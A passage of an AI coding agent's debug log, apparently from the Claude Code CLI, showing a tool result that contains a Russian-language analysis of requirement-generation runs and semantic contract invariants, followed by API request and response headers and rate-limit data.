#609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\",\n[2026-09-29T07:49:49.566Z] [INFO]         \"is_error\": false\n[2026-09-29T07:49:49.566Z] [INFO]       }\n[2026-09-29T07:49:49.566Z] [INFO]     ]\n[2026-09-29T07:49:49.566Z] [INFO]   },\n[2026-09-29T07:49:49.566Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:49.566Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:49.566Z] [INFO]   \"uuid\": \"a9b5e502-8f4d-414d-8a5f-86d07e1c10f7\",\n[2026-09-29T07:49:49.566Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:49.557Z\",\n[2026-09-29T07:49:49.566Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:49.566Z] [INFO]     \"stdout\": \"# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0432\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\",\n[2026-09-29T07:49:49.566Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:49:49.566Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:49:49.566Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:49:49.566Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:49:49.566Z] [INFO]   }\n[2026-09-29T07:49:49.566Z] [INFO] }\n[2026-09-29T07:49:49.607Z] [STDOUT] [log_6a0adc] sending request {\n[2026-09-29T07:49:49.611Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:49:49.615Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:49.618Z] [STDOUT]   options: {\n[2026-09-29T07:49:49.620Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:49:49.622Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:49:49.626Z] [STDOUT]     body: {\n[2026-09-29T07:49:49.629Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:49:49.632Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:49:49.635Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:49:49.641Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:49:49.644Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:49:49.647Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:49:49.650Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:49:49.658Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:49:49.663Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:49:49.667Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:49:49.672Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:49:49.681Z] [STDOUT]       stream: true,\n[2026-09-29T07:49:49.685Z] [STDOUT]     },\n[2026-09-29T07:49:49.687Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:49:49.689Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:49:49.690Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:49.692Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:49.693Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:49.697Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:49.701Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:49.712Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:49.724Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:49.752Z] [STDOUT]     },\n[2026-09-29T07:49:49.787Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:49.798Z] [STDOUT]   },\n[2026-09-29T07:49:49.803Z] [STDOUT]   headers: {\n[2026-09-29T07:49:49.812Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:49.820Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:49:49.829Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:49:49.852Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:49:49.859Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:49:49.861Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:49:49.863Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:49:49.866Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:49.869Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:49.871Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1219\",\n[2026-09-29T07:49:49.873Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:49.876Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:49.878Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:49.880Z] [STDOUT]     \"x-client-request-id\": \"d25623ff-d04f-4760-8a90-a606ef83c7c0\",\n[2026-09-29T07:49:49.883Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:49.885Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:49.888Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:49.890Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:49.892Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:49.895Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:49.897Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:49.905Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:49.909Z] [STDOUT]   },\n[2026-09-29T07:49:49.917Z] [STDOUT] }\n[2026-09-29T07:49:50.339Z] [STDOUT] [log_6a0adc, request-id: \"req_011CfXN6H6CNhWC8eddKzUm2\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 732ms\n[2026-09-29T07:49:50.346Z] [STDOUT] [log_6a0adc] response start {\n[2026-09-29T07:49:50.354Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:50.362Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:50.371Z] [STDOUT]   headers: {\n[2026-09-29T07:49:50.379Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:50.382Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:50.386Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:50.389Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:50.394Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:50.396Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.401Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:50.406Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:50.411Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:50.414Z] [STDOUT]     